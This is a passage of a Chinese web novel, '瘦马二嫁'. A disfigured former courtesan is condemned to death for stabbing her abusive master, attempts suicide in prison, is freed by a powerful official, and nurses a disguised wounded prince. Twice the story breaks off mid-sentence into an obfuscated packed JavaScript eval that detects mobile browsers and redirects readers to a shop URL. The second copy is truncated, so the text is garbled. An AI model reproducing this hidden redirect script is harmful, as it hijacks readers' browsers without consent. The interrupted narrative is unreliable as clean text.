《瘦马二嫁》 1. 苦生 浔溪县的梅雨淅淅沥沥连下了十五日，长满了苔藓的青石板湿滑难行，微雨蒙蒙如针似雾。 阴沉沉的云层欲落屋脊，像老天在哭这苍生。 青石板的一侧，雨水正顺着沟渠，缓缓淌进女牢的矮窗。 说是窗，其实不过是用作透气的铁栅栏，几个黑洞洞拳头大小的方格子。 透过这仅有的一线矮窗，其下死囚间的地牢里，仰躺着一个极年轻的姑娘。 她是前儿后半夜才抓来的。 恰好浔溪县今岁要彰表节妇、教化女德，那俞县台粗略审过，昨儿堂会就依律定了凌迟。 逼仄的铁栅栏外恰好对着一丛野花，紫粉色一大片，鲜妍欲滴得在风雨里飘摇，阮苹两夜未阖眼，就这么看着那丛野花凋零殆尽。 俞县台赶着要立个女德的样儿，偏巧她媳伤公爹，还是个下九流的出身。 是以刑期仓促，就定在了今日午时。 天光熹微，正是牢中放朝食的时候。 送朝食的妇人抱怨着北地的战事和县里的流民，听得凌迟的人犯才十九岁时，心中不忍，便同几个来换班的女狱卒议论起来。 —“你说这孙屠户不过被扎瘸了条腿，那孙家也没正经给她名分，都没脱奴籍，算哪门子媳伤公婆？” —“噫，大娘你不晓得此女来历！她本是归家院养的瘦马，三年前，骗着鸨母拜佛，在佛堂里自毁容貌，被这破落户孙家六两银子就买回去。嘿嘿，这蹄子同孙三郎睡这些年，却连个蛋也没下。就上月，小妮子闹着说要从孙家脱奴籍，说什么自己要去绣坊做工，绣坊给她一年十二两的工契！” —“狗屁工契，咱们牢头一年都才五两。娼门里出来的腌臜货，有甚挣钱的能耐，就是勾上新坊主萧公子了呗。” 众妇哗然，牢头郭明珠听得十二两一年的工契，也不知触到她哪根心弦，一下扬声发狠道： —“这娼妇瞧着倒文绉绉的，原来这么厉害，我说寻常人怎敢去杀公爹。诶，整个湖州府都多年没凌迟了吧，这回说是要剐三天三夜，那娼妇进来后就不哭不闹的，一会儿开刀，你们哪个要胆小就跟我换个班，我可得去瞧瞧。” 几个女人毫无顾忌地笑骂着，一路向各牢房去分朝食。 狱中日子苦闷愁惨，能来此谋生的大多是穷苦人家的寡妇。她们见惯人间疾苦，认定了命数无改，爱靠嘴皮子取取乐。 一只长满霉点的馊窝头被丢进死牢，骨碌碌一路滚着撞停在阮苹脚边。 “喏，小白菜萝卜，最后一顿啦，多舀你两勺。”郭牢头朝死牢黑黢黢的地上泼两勺没油腥的菜汤，“饱死鬼上路，尘缘放下、冤仇莫寻，下一世投个好胎喽。” 枯槁视线微动，阮苹勉力翻起身，挣扎着问出了定罪后的第一句话：“多劳您，我阿妹桃露可来过？” 她两日没怎么吃喝，一副嗓子嘶哑得没几分声息，苍白小脸上青肿得不成样子，眉心和侧脸的两道旧疤被这些殴伤衬得隆起，眼角唇畔也破着。 因着孙屠户的暴虐和前日暴雨夜的逃亡，她周身都是伤，瞧着比外头的流民还要惨烈。 然她天生的五官秀丽，又在瘦马苑浸淫得身段风流，此刻一双妙目无神微勾着望向狱卒，便活似个来索命的艳鬼。 女牢头呆了瞬，随即晦气一啐：“林家药铺的四姨娘是你妹子啊？刚就候在外头录名姓呢，哦对，她边上还跟着个老瞎子呢，一身穷酸，那老瞎子又是你哪个？” 听出她语气里的不善，阮苹无心同这妇人啰嗦，便没搭话，掰下一块脏兮兮的窝头去喂老鼠。身后传来一声不客气的怪笑，倒也没再来烦她，往下一间牢房派饭去了。 外头雨落渐大，几片碧绿桑叶刮进牢中，飘荡着落到阮苹面前，将那只正在吞食馊窝头的老鼠吓了一大跳，缩起尾巴呲溜一下朝阮苹身后的草垛里躲去。 没了老鼠看，她又抬着一张肿胀的脸木然望向那一线窗景。 袖口里落出个素色荷包，被她捏在掌心细细摩挲。 再有几日出梅，外头就该入夏，届时浔溪县藕塘将熟、夏花绚烂，北山里的渔村碧野荼蘼，游丝若絮。 她轻阖目，仿若置身于十四年前归家院的炎夏。那一年阿娘被一名茶商相中，在院里生下了小妹桃露。那名茶商温文和煦，给她买冰桃酥酪吃，说凑足了钱会连她一同也赎了，带她们去金陵。他说去金陵，就没人记得阿娘的过往，要让阿娘做正头娘子。 再往后，茶商骗走了阿娘全部的身家，就连尚在襁褓的桃露也丢下没管。 而她阿娘，病死在了第二年冬天最冷的时候。 然而可笑的是，时至今日，她若想稍稍回顾下这一世的甜，思来想去，也还是要绕回五岁那年盛夏，茶商大笑着将她抱高过绿荫浓浓的枝头，问她“小阿苹，吃没吃过冰桃酥酪啊？唤我声阿爹，我就日日买来你吃。” 阿娘存的银子，本来都够赎身的了。 起初她恨了茶商好多年，后来不恨了，因为越长大，她发现这世上比茶商恶的人更多。 待出了梅，就是夏。那样一个生机鲜妍的世界，可惜她再也看不见了。 她觉着自己该是要哭的，可眼底一贯得干涸，连自己都疑惑起来。 她努力想要回想起些人世的快慰，闭上眼时，却是归家院鸨儿的严厉算计、孙氏母子的冷漠懦弱，更多的则是孙屠户满脸横肉，皱着酒糟鼻打骂她。 若再想远些，则是破.瓜夜的恶心裂痛，或佛堂里她用匕首自毁，抑或是才十二岁的桃露深夜一乘小轿去林家，给林员外作四姨娘的场面。 这一辈子，乖顺温良是活命的伪装。 自我观照时，她觉着自己，算的上步步为营、机关算尽了。 算好了和孙阮氏沾了远房姨表亲，即便那孙家母子再庸俗奸猾，总也捞她出了归家院那个火坑。 凭她缂丝的本事，算着能从孙家得自由身，老天却偏又排布个烂醉烂赌的孙屠户，要把她往死里逼。 五指深深攥进荷包，想到孙屠夫对自己施暴的那最后一个雨夜…… ——“老匹夫，我要你的命！” 那一刻，她不用再假笑讨好地喊这个所谓的公爹姨父，而是一刀刺了过去。 真是好笑，平日那么横的孙屠户，一个九尺高的杀猪壮汉，中刀后却连反抗也忘记，任由她疯了一样大笑着烧了屋子。 后来她逃到北山，打算去搭船，夜雨滂沱里，便遇见了这只素色荷包的主人。 船家说，太湖的渡船都触礁沉了。 无路可走之际，她一步步涉入湖边泥泞烂湿的芦草地里，生平第一次有了死志时，却碰着一道人影正死命护着只雪貂凫水而来。 那时天雨倾盆，她立刻蹲进芦草里，借了岸边草棚渔火，看见那是一个唇红齿白、容色惊人的年轻男子。他跌在岸边湖石上，分明是受了极重的伤，却低头眉眼温柔地与雪貂包扎。 一人一貂在岸边相偎相伴，她渐渐看痴了。 她从未在一个男子脸上见识过这般温存关切的意态，况那都不是对一个人，而是一只貂。 阿娘说过，你往后看恩客，看不懂莫怕，尽管挑一个对猫狗老幼都亲切的。可能这样的人，即便再坏，也大多比这世上许多人好一些。 后来那只貂咬着什么东西跑了，那人却昏死在湖石上头。 像是被蛊惑了一般，逃亡的步子叫泥沼陷住。 她忽然丧失了全部的生念，于是想着，不如最后再做件善事，但求下辈子莫要再托生成这般命数。 将男子带入渔村，才交给盲医诸葛洪。天还没亮，县里的官兵就搜了过来。 被捕的时候，或是想留个念想，她从昏睡的男人身上扯走了这只素色荷包。 …… “姐姐…姐姐！”背后传来低泣，阮苹身上短促一震，意识到妹妹来了，她背着身从草垛上勉强坐起，在转身前，竭力扯了个笑出来。 连日折腾，就到牢门边的几步路她都走不稳，强扯出的笑跌碎在脏污粗糙的牢门前，她才探手歪倒，就被桃露用力死死握上。 “夫君说林家与县台有龃龉，说什么也不肯帮忙。这是绣坊里的娘子们，昨儿凑着借了我五两，我又把首饰急当了，凑了十两多。” 桃露絮絮说着这两日的遭际，诸葛盲医干瘪着空洞的眼，却始终沉默着。 其实这些年阮苹靠卖绣品攒了足足四五十两，分别存在桃露和诸葛洪处。只是桃露平日铺张，现下连个通门路的钱也凑不出来。 “不行，我还是把这十两拿去求求衙里的人吧！” 桃露欲走，被阮苹一把拉住。桃露回头望一眼，面上泪水一滞，木愣愣地停在姐姐枯瘦浮凸遍布新旧伤痕的细弱腕子上。 能看得出，有些是人为抽打的，更多的还是干活刺绣时落的伤。桃露有些移不开眼，姐姐缂绣一绝，还会做竹席竹刷竹薰笼一类竹器。她只当姐姐绣品值钱，平日总问姐姐要银子，却不想自己用掉的是姐姐的救命钱。 “不许去，桃桃，没用的。你好好听着，后面的话，我只说一遍……”也不知哪里来的气力，她就用这只手把妹妹死死按在牢门上。 “渔村诸葛先生的院子里，海棠树下有一坛子铜钱，三千一百五十一文。孙家我睡觉的破布枕头里，你仔细剪开，有一张兴隆钱庄的四两存票，还有绣坊的李姑娘……” 她似默诵般在两人耳边低诉，像是已经准备了许多遍，一字一句没有停顿。 一共藏了二十八两三钱多，看着姐姐一塌糊涂的脸和溃烂唇角，桃露连哭都忘了，她睁着美目惊恐喘息地盯过去，抖着唇若自语般问：“二十八两，都是给我的，你毁了脸去孙家，心里还是只有我。你一件钗一件棉衣也没舍得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659131|188355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 买过，你怎就笃定……” 后半句，被阮苹用手挡下，她不想在这时候，还要听妹妹在林家的不如意。 诸葛洪面无表情地朝桃露的方向空望了下，而后掏出一个竹瓶子，递进去被接过后，老盲医空着的手剧烈得发起颤来：“服下后，一炷香立毙。” 阮苹笑着看了眼竹瓶子里黑色丸药，忽然踉跄着爬起身，郑重朝老者拜去，用从未有过的恳切决绝的辞色道：“阿翁，桃桃年幼，林家当年签的只是佃妾五年的文书，当初说定的，到期我们只需再拿二十两，他家再出三十两，凑五十两整，就找潘妈妈彻底销了籍。潘妈妈家业大讲信誉，可林家都是精明的。就请您看在我当年救过您的份上，不论往后怎样，千万要帮着桃桃做成这一桩。” 桃露猛地起身，因着心虚双手死死按在木栏上，染了粉色凤仙花的指甲甚至都嵌进了污迹斑斑的木头里。 林员外近来越发疼三房的柳姨娘，她姐姐入死牢的事，她甚至不敢对夫君说。 “好孩子，快起来。”诸葛洪再忍不得，干瘪的双眼里淌出泪来，“你放心。” 又问了两句那日太湖边救下的男子，听的他是中了毒，毒也已经解了后，阮苹就没再多问。 午时将到，三人无话。 狱卒在外头做着去刑场的准备，阮苹想了想，最后还是解下年轻男子的素色荷包，还给了诸葛洪，最后对他嘱道：“等那人醒转，他若愿意报恩。烦劳阿翁代转，就请他尽力偿些钱给我妹妹。” 时辰到了，阮苹搜索枯肠，总怕忘了什么没安排明白。 她挥手催促着两人快走，在桃露要踏出暗廊前，忽然声嘶力竭喊：“桃桃，林大娘子非是善类，林家也非是久待之地。往后姐姐不在，你遇事就托信去渔村给诸葛先生。不许回头！你一会儿回了林家，就灌一副安神药下去，明儿一觉睡醒，就什么事儿也没有。好好活着……” 桃露闷得心口都要炸开，一发狠，就真的没有再回头，她在林家蹿长了身子，吃喝不愁养得丰腴，扯着诸葛洪劲头大得出奇。憋着哭一口气跑到县衙外头。 县衙侧门的门槛也高，诸葛洪眼睛看不见，被她扯着，到门前一脚绊飞出去，拐棍也跌没了，素色荷包比拐棍飞得还远，径直挂在衙门口的獬豸头上的长角上。 老者跌懵了，身上针砭用具都散了一地。 他颤巍巍摸索着去拾地上散落的东西，一想到那样好的一个丫头就要吃他的药自，手抖的不成样子，扑在泥地里摸索着，却一件针砭也触不到。 他一下瘫坐下去暴怒着哭指：“贼老天！你可和老汉一样瞎了是吗！浔溪的狗官！天杀的，孙家那三个杀才夯货都没说要她去死呀，不分青红皂白的狗官，草菅人命，你们早晚要遭报应啊！” 这么一骂，立刻有守门的官差过来压，桃露立刻抹干泪，她唯恐老瞎子被捉，便忙挨挤过去，扯着诸葛洪的衣襟，哭腔里带出凶恶来：“衙门口你也敢乱叫，你先把姐姐藏钱的钥匙给我呀。” 衙门口顿时乱作一团，午时一刻了，长街上又聚了好些人过来，多是些游手好闲的等着来观刑。 人群中不知谁叫了句：“还不快让开道，请府台大人下马。” 就见一个着绯色孔雀补子的中年文士快马挤入人群，怀中抱着只雪貂，到近前瞧见獬豸长角上的素色荷包时，这文士目中一亮，便立刻抱着貂跃马而下，信步过去取下荷包。 他也不轻易发问是何人的，而是朝在场的几人扫了一圈，按下连日来的焦迫，稳住心神，视线很快锁定正四处摸索寻物的诸葛洪。 他故作不经意地望了眼地上针砭，对随从道：“医者？正好，闽地闹疫症，多问一个也好，速将这老先生请进府衙，本官要问话。” 诸葛洪正茫然，就听身后好事者压低声交谈：“这是哪儿的官呀？” 有人拱手轻答：“孔雀补子，正三品绯袍。原湖州知府叶知障叶大人呐！听闻是高升去闽地任按察使了。” “也都是地方官嘛，这阵仗咋恁了不得，你瞧那些差役，平日里狗眼看人低，怎么对这位比对咱县台还要恭顺？” 懂行的那个仿若听了个天大的笑话，抱臂得意道：“咱大梁国的太子是何人你可知晓？” 农户连连颔首：“前年淮北大战，太子殿下夜袭敌营，于几十万的营帐里取下蛮将首级。这两年又四处赈灾救苦，噫！如此少年英雄，恤民勤政，连我家中八十老母都晓得呢！哎！我问你方才入衙的那位大人呢。” “这叶大人么，正是太子殿下的授业师父呀。如今太子在彭城与蛮子决战，叶大人去闽粤兜一圈，积累些民意阅历，这回来后啊，莫说咱浔溪一处县台，就是几省的巡抚加起来，将来都比不过这位动个指头呢！” 原来是个更大的官，诸葛洪心中一动，酝了一肚子冤情，甩开桃露急忙忙跟着入了衙。 2. 改命 午时二刻，浔溪县女牢。 外头狱卒们已经准备妥当，就要过来换枷带人。天上云隙里忽的漏下一缕晴光，透过低矮的小铁栅，照在死牢的草垛上。 原本仅靠火烛朦憧的囚牢里，熹微日阳穿破雨云照彻一线，好似混沌生命里挤入罕见明光。 阮苹伸出手，去那线久久不散的日阳下。 这么大的雨，何来的云隙，真是奇了，甚至能清晰地望见这线明光里升腾的草屑灰烬。 拨开竹筒木塞，最后的片刻贪生里，麻木无神的眼底竟起了神采，她忽的极温柔地笑了下，一张不忍卒睹的苍白脸面上漾开安逸与希冀。 可惜，她这短短十九年的生命里，危难之际，从未有过明光照入。 倒出竹筒里的黑色丸药，她的手微微震颤着。 铁锁拖动的声响近了，她死死盯着手掌上的丸药，想着旁的妇人模样，该打个佛号或为自个儿这悲苦命蹇的一世哭一哭吧。 眉梢动了动，她却仍旧一滴泪也没有。 “上路了。”女牢头聒噪的声腔里是她翻找钥匙的粗俗低骂，“嘿，钥匙呢？！” 她壮如水桶的腰上别了上百把牢门钥匙，原本是套在一个铁环上有顺序的，方才与送饭嫂子显摆，自己捏着铁环摇乱了，找不到起头的第一把时，一时间乱得若无头苍蝇。 耽误了行刑时辰，可不是闹着玩儿的。 “喊你们平日闲着贴些记号，一群懒货，快快快，分一分大家一起认。”足试了十余把，几个狱卒觉出不好，想着这可是俞县台要亲自开刑的犯人，误了事她们都得遭殃，遂一股脑儿挨挤过来。 然越急越乱，死牢门上大锁却只有一把，几个妇人过来你一眼我一语，嚷得女牢头一个头两个大。 ‘哐’得一声，也不知哪个手欠，试到一半的一大串钥匙脱手坠地，散的哪里还记得顺序。 这就一炷香过了，几个皆是急出了一脑门汗。 这么拖着，阮苹背着身，原本已经要吞药赴死了，可在这些妇人互相怪罪吵吵嚷嚷的家常语气里，死亡的恐惧反倒不知由何处悄然浮起。 这等情绪，一旦有了，即势若雨后春笋，顷刻间将她淹没。 千古艰难唯一死。 狱卒们意外的磨蹭耽搁，像是揭开了她心底厚厚的一层翳，她这一世苦水里泡大，以至于到这一刻，才猛然发现，即便命若蝼蚁，也还是畏死的。 她整个人都开始剧烈地震颤起来，瞪着掌心毒药。 目中淌出的恐慌里，是一种近乎于天真的绝望疑惑。 眼前骤然浮过四年前及笄时的春华烂漫，那一年，好像有个从松江来的少年纨绔相中了她，说要赎她回去做妾的…… 她当年心气高，觉着以自个儿谋生的本事，不甘心同一般瘦马一样就这么受困一世。 如今想来，何其讽刺。 原来老天叫她来世上走一遭，就只是为了让她遍尝世间各色不同的苦楚。 门锁终于打开的一瞬，就听得狱中女子释然长笑。 这笑声卸尽不甘、怨愤、惧怕，慨然间掺着洒脱，两个狱卒都愣了愣，便见她仰头将一粒什么东西含进嘴里，在咽下之前，阖目对自己轻叹：“此身既去，不再生生世世百千万劫，永无轮回。” “知府大人来改判冤狱，人都去哪儿了？！” 侍卫的呼声颇为响亮，顺着女牢幽暗狭长的甬道传进来，牢头郭明珠浑身一个激灵，头一个反应过来，忙高呵：“犯妇自尽了，快去按她的嘴！”说着一个健步冲过去。 郭牢头看着身子笨重，反应是真的比旁人都快些。 她呼喊着几个狱卒一同扼喉、捏颊、翻舌…也是幸得有些经验，乱虽乱，一通忙活下来，一粒乌黑色丸药便从阮苹口里掉了出来。 …… 所谓谋刺公爹的要案，叶知障仅用了三句话，就重审翻了案。 让人带阮苹出来，他搬一把太师椅朝地牢最外头的刑房里一坐，掀着盖碗还没吹凉茶水，俞知县就连跌带爬地跑了过来。 “哎呦呦，晚生恭迎臬台大人，您往闽地高升，行前还特来浔溪一趟，晚生实在感动，臬台若不急着赴任，请一定多留几日，也好让晚生尽尽地主之谊啊。” 俞知县是个五十多岁的胖子，论年纪还比叶知障年长十岁，一番恭维下来，胖脸上却布了一层密汗。 如今朝中齐王与太子两党势同水火，叶知障是太子太傅，即便俞知县不知太子遇刺失踪的事，叶知障这么尊大神突然不告而来，只要是个脑子没问题的，绝不会以为这是什么好事。 俞荣四十七岁才中进士，即便买通关系领了浔溪县令的肥差，他这点品级家世，在党争里，至多就是个塞牙缝的菜杆子。 一番恭维开场下来，叶知障一派仙风道骨的模样，手上端详着一只素色荷包，不接话。 地牢刑房里也没多的座椅，俞荣领着一众狱卒就这么干立着。 整整二刻，湖州府的侍卫持刀肃立，刑房里无人说话。 地牢里静可闻针，也只有刚历过一场生死的阮苹镇定些，她默然环视了圈，或是鬼门边开了灵窍，她一眼就认出了叶知障手里的荷包。 那不是她救回的年轻人身上的嘛？ 生死门前转过圈，她没一丝避讳地望向主座上的叶知障。 更漏滴着，叶知障将这些都细细察望在心。 他不动声色地多看了阮苹两眼，只觉这女子一张骇人面庞下，五官轮廓颇为秀雅。尤其是那一双眼，似趟过这世间诸多苦厄后，却依旧是那样坚韧安静。 难以想象，这是一个就要受极刑的人。 他原本尚在犹疑，被她这一眼望过，才拿定了主意。 目下徐老将军北征，皇帝又病重，他还是不便出面去接回殿下。 若由这样一个面陋不堪又身份卑贱的贫家女，在那荒僻的渔村照料着，他再借俞荣贪墨之事在浔溪刻意闹一场，以齐王多疑的性子，派探子搜捕时，很有可能反而会略过此地。 所谓的灯下黑，就是这个道理。 思虑定，叶知障抚须含笑，竟是示意人搬了张座椅与阮苹坐。 众人惊诧侧目间，俞知县却是暗松了口气。他擦了擦脑门上的汗，暗叹往后再不可招惹小觑苏湖的瘦马，胖脸上挂了笑，就要开口与阮苹免罪。 然而，叶知障下一句话丢出来，却让俞荣心胆俱裂。 “太湖圩田治水的账册做的精妙，俞大人，你好生劳苦啊。” 圩田的款项他做的细致，也就每年贪了二、三万两罢了，这是何时盯上的，要拿他开刀啊。 这话锋转得极尖锐凶险，俞荣本就没根基，当下骇得一颗心要跳出腔子，竟连站都站不住，双腿软似面条。他也不辩解，当着众人的面就跪趴下去，体面也不顾地仓皇膝行两步，带着哭腔嚎道：“叶先学，叶兄啊，您救救下官！下官从未……我决没有啊！” 叶知障耐着性子，等俞知县嚎了一会儿，才亲自躬身去扶他。 高高举起，轻轻落下。他的目的是要将俞荣一并带去闽地，再于浔溪留个自家人，务必让齐王一党错解他来浔溪的目的。 “何故如此惊慌，本官只是一向听闻俞县台擅治水，有意带俞大人南下治水。事情仓促，还望俞县台体谅，你把这案子重审完，把浔溪治水的账册图纸都带了，调令甚急，你待好生结了此案，就来松江府见我。” 只留了这一句，叶知障离开前，还侧首对阮苹深望一眼。 当着众人的面，他抚须轻笑，将手中的素色荷包抛了过去。 湖州府的人一走，牢头郭明珠第一个战战兢兢地上前问：“县、县台大人，府台说要重审孙家一案，卑职现去喊师爷？” 俞荣吓的不轻，抖着下巴三层肉，长出一口气。 转头先定定神，才忽然扬手，声若霹雳地给了郭牢头一个大巴掌：“审、还审你个大头鬼啊！你当老爷我几个脑袋！这案子错判了，去！把孙家三个刁民先押下再议，好生送苹姑娘回去。” 下一口气好似要上不来，吩咐完，他恶狠狠朝自己腿上掐了下，钻心的痛下，一把鼻涕一把泪地哭叫着朝外追：“先学呀，臬台大人，叶臬台！案子我已结了，您等一等晚生呐。” …… 午时三刻，女牢外间的会客厅里。 有人拿皂靴、有人取来自己未穿过的新衣，递水的、送果子的，阮苹一样未取，就那么趿着自己在山上泡烂的破绣鞋，踏出牢门，步入地面，在雨里无声走着。 浔溪的牢狱也建的恢弘，一重重院门跨过去，一直到彻底走出府衙 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觉出对方的忐忑畏惧，她从乱发深处扯下绑着的几个铜板，哑着嗓子盈盈一拜：“还要多谢郭姐姐施救及时，我想托姐姐帮一个忙。” 女牢头收了铜板，觉着那一声‘姐姐’真是令人酥软心摇，心中可惜她的脸，也不再多打探奉承，爽利地应下了替她去林家报信的事。 *** 雨过夜晴，远近蝉蛙一片。 北山脚，渔村草屋。 星月浅淡，些微光亮透窗而入。东屋萱软草席上安睡着一个周身缠满布绷的少年。 榻旁弱影纤袅，也不知是枯坐了多久。 阮苹没有点灯，她散着才洗完的湿发，就这么无声地看了他半晌。 梅雨一停，五月望的圆月斜挂柳梢，于暗处坐得久了，借明月一照，榻上人的眉目模样纤毫毕见。 那日雨大仓皇，她忍着伤痛将这人从太湖边拖回渔村，光凭身量，她一直以为自己救的不是水匪就是个南下的溃兵。 现下月明如炬，才看清楚这是个生得颇秀雅好看的少年郎，眉峰如墨，唇红齿白。饶是现在病中一身麻衣地昏睡着，亦难掩风骨。 诸葛先生说他的伤都不致命，只是中了一种叫莲舞散的毒，差不多今夜毒性褪了，明早就能醒。 阮苹不懂毒，却为了攒钱自小识过各类绣艺，她拂拭过榻边被箭簇射破的玄衣。 这是武人骑服，乍一看通体俱黑，却在滚边云纹处用了双面三异绣法。 云纹在日阳下会变幻数种形态，状若真云流动，栩栩如生。 这是苏绣里最难的一种，坊中技艺最好老绣娘耗费心力半载也才绣成一二匹，苏湖两地只有顶富贵的人家，会买大幅的山水鱼鸟纹式样。 此等稀少的技艺，这件玄衣却只在边角处绣，尤是衣襟底下一圈滚边，绣法堪称鬼才，是她从未见过的巧妙。 将这一切彻想了一遍后，阮苹眉梢尖处一跳。 什么湖州知府，阮家都是贫苦子弟，她又从记事起就进了院，哪里认识什么知府大人。 官场朝堂虽远，她却也不傻，只稍猜度，就断定榻上这人身份不一般。 能同湖州知府有交情，非富即贵。 眼前又浮现起那日暴雨里，少年自己伤重却依然护着一只雪貂的场面。 她忘不了他当时眼底的生机与不甘，她甚至艳羡那只雪貂。 在这世上，她或许连一只貂都不如。 能于生死之际还先想着救治一只貂的人…… 兴许，这是老天给她最后一次改命的机会。 望着月色下的人，想起孙屠户横肉暴虐的脸和地牢里阴森可怖的腥臭，她抬手到衣襟细带处，解下了外衫。 犹疑着触到小衣系带时，未料那些经年惨痛恶心的记忆扑面，甚至于闭上眼又看到那些男人狞笑着，口鼻间亦嗅到汗臭。 心间滞涩，莫名头上起了阵晕眩，手上一迟疑，就未再解下去。 入夏夜闷，里衣薄透，她将仅剩的一件内衫扯开，松垮得罩在小衣外头后，小心地在榻沿边挨躺下去。 月光如水，榻上二人一仰一侧。 她先还顾忌碰伤了他，以为要枯守到天明了，未料这一躺下，屈膝将下颌凑到对方肩处后，上下眼皮一碰，竟是酣睡过去。 3. 面目 待枕边传来绵长呼吸，晏浩初又等了一刻，而后他捂着腹间伤处，背倚草屋泥墙坐起身，原本微扬的桃花眼下压着，用一种冷厉打量的睥睨神色审视着中了迷香的女子。 在确认她不是装睡后，他才以指为哨，一记短促鹧鸪哨音后，一个燕子般轻灵的身影翻窗落入。 是叶知障养的死士尹七，叼着信的雪貂从尹七怀里跳出，几下飞跃上榻。 晏浩初取信看过，拍了拍雪貂的小脑袋，沉吟道：“这一个月，让先生只管经营好闽粤，不必管金陵的事。只等徐将军大胜瓦剌，到时再扫内院的豺狼。” 尹七等他写了回信，抱过雪貂压低声誓道：“属下等誓死护卫殿下。” 晏浩初摇头：“让你的人都去松江府，不可留在浔溪。没有紧要事，就用它递消息。” 这和叶大人吩咐的不同，尹七知道这位的本事，然他如今才解了毒，单为了迷惑齐王的人，把浔溪的暗桩尽数撤走，他心里还是不认同。 见他杵着不走，晏浩初沉默片刻，视线扫过榻上衣着清凉的女子时，对上尹七焦灼犹疑的目色，他受到启发，忽然扬唇笑了，抬手不着痕迹地抚挡住女子半露的肩，下了一道令与尹七： “你去流民堆里捡个落单的女人，就以夫妻的名义在浔溪落脚。还有，这阮氏的来历……再去她祖籍地查。” 待尹七领命去后，晏浩初没有躺下，盘膝坐着调息起伤势来。 一个小周天运转下来，缓缓气，他伸手拔下发间木簪，拧开机关确认了过布防图未被人替换过。 他上半张脸隐没在黑暗里，薄唇在月色下紧抿着，就那么一直若有所思地盯着榻沿边挨着的人。 耳畔传来绵长鼻息，他毫不客气地将她从头到脚地来回扫量，一无避忌，他甚至俯身去翻了翻她手掌。 瘦马出身，屠户家的奴婢，毁了脸又没半点功夫，十指纤长却遍布着经年劳作的痕迹。 用十数年培养这一个人，再让她特意在雨夜救下自己？ 他那位刻薄寡恩、桀骜急躁的大皇兄，应当谋虑不到这等程度。 揉了下额角，他自嘲地一笑，松懈下来，再去看榻上人。 就见一段纤腰塌着，股下若隐若现的腿儿屈着，佳人体酥削肩若柳。松垮轻薄的夏衫下，雪项莹白。 月色再明，到底也是不如灯火清楚。 若不看她的脸，倒真不枉是江南地界养出来的瘦马。 即便晏浩初常年从戎，如此场面，也还是一眼看出了阮苹的用心。 从七岁上母后被人害死，他的世界里就只剩下了复仇和隐忍，乃至于，过了十七岁，也都未正经结识过什么世家贵女。 可他无暇女色，并不代表眼瞎到不辨美丑。 一时间，盯着榻上人面容的神色里便多了鄙夷嫌弃来。 若此女果真一无背景，那她出狱第一夜就妄图攀附自己，就实在是可笑至极，不自量力。 他可从没听过，自古以来，使美人计的狐狸精还如此粗俗乡野的。莫说脸上两道明晃晃长疤，就是这双伤痕累累的手，都叫人没兴致。 这念头一晃而过，暂且摒退杂念，凝神聚气至丹田，便端身正坐着料理起内伤来。 . 翌日卯初，湛青天际还未大亮，阮苹难得一夜睡得无梦香甜，甫一睁眼，迷蒙间听得外头劈柴动静，脑子一时没转过来，还想着姨母孙阮氏今儿怎勤快起来。 未免挨嘀咕，她人还没醒透，就虚软着手脚赶忙穿鞋整衣。 这一番动作实在利落，以至于等她哈欠着边绾发边一推门，在瞧见后院里的场面时，整个人才如梦方醒地猛然呆立当场。 绾发的手不自觉松了，一头青丝扑泄若流泉。 就看到后院歪脖子的老石榴树下，一身短打腰腹肩背缠满布绷的人正举着斧子劈柴，斧子也不知多少年头了，钝得厉害，刃口处都锈得黏结一片，而树下已经积了小山似的劈好的柴了。 少年循声回头，熹微晨光穿过矮矮的篱笆，带着北边的湖水藻气，泼映在他高健颀长的身躯上。 见她杵在门首怔愣，因逆着光，看不清面貌，只见墨发披垂着，纤弱身影里有股孱病之态。 晏浩初朝她友好感激地笑了下，这一笑，星眸弯弯薄唇勾起，右颊处的梨涡微凹，霎那间染得这浅淡天光也秾艳起来。 “灶上米粥还有一会儿，水差不多放凉了，阿姐若渴了就先喝些。”他转头举斧，容色间竟透出两分戚哀忐忑，自言自语道，“再劈一捆出来，我再把斧子磨一磨。” 大约是少年人火力壮，他上身就罩着件灰扑扑的短打，还是晨露泛冷的时辰，肩背额角就沁出层汗来。 见他伤处都快淌过汗时，阮苹才如梦方醒，心里头一边是脱离孙家的不真实感，另一边则是对昨夜自己一点歪心的窘迫。 也不晓得后来是怎么就睡过去了。 树下少年落拓姿容里带了分寄人篱下的不安。 她惯会观人，此子目中澄明无染，大约是最没心思的一类人，应是只当她是累极了才误睡在他榻前的。 对着这么个人，阮苹忽然觉着自己真是面目可憎、心思龌龊。 或是终于睡了个整觉，心底阴霾半扫，昨夜的临时起意到这会儿也就歇下了。 不管怎么说，她已经算因祸得福。闹成如今这样，至少暂时从孙家抽身了。 思及此，她快步奔至树下，想把斧子接过来：“你腹上箭伤凶险，阿翁说再偏两分就得丢命，快躺着去。” “不妨事，再把这些劈完，就够用三四日的了。”晏浩初打小在军中历练，他有心敷衍探她虚实，便抬高了手略格挡了记。 到底是几日的亏损折腾兼着迷香余力尚在，两个人争一把斧头，就被他这一格挡，她顿觉晕目眩，脚下一软，竟侧仰着就朝旁跌去。 晏浩初反应快，讶然中下意识伸手一捞，便将她整个人捞撞进自己怀里。 这一下，阮苹的胳膊好巧不巧，恰好撞在他左腹，一阵裂痛让他禁不住皱眉‘嘶’声。 “撞疼你了？！”她当即着了慌，不由分说地将人扯进东屋，而后散着发就从院后侧门去请了诸葛洪来。 跟着诸葛洪从后院一并绕过来的，还有阮苹去岁从流民堆里捡的一个叫小墨的药童。 见到小墨的第一眼，晏浩初的疑心病就又犯了。 这是个十二三岁的男孩子，身量还没长开，帮着诸葛洪煎药递针，能干得很，一双眼狭长沉默，惜字如金。 他想起大皇兄有一心腹，曾豢过许多年幼的童男童女专作刺客。 越过窗前疏影，他仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 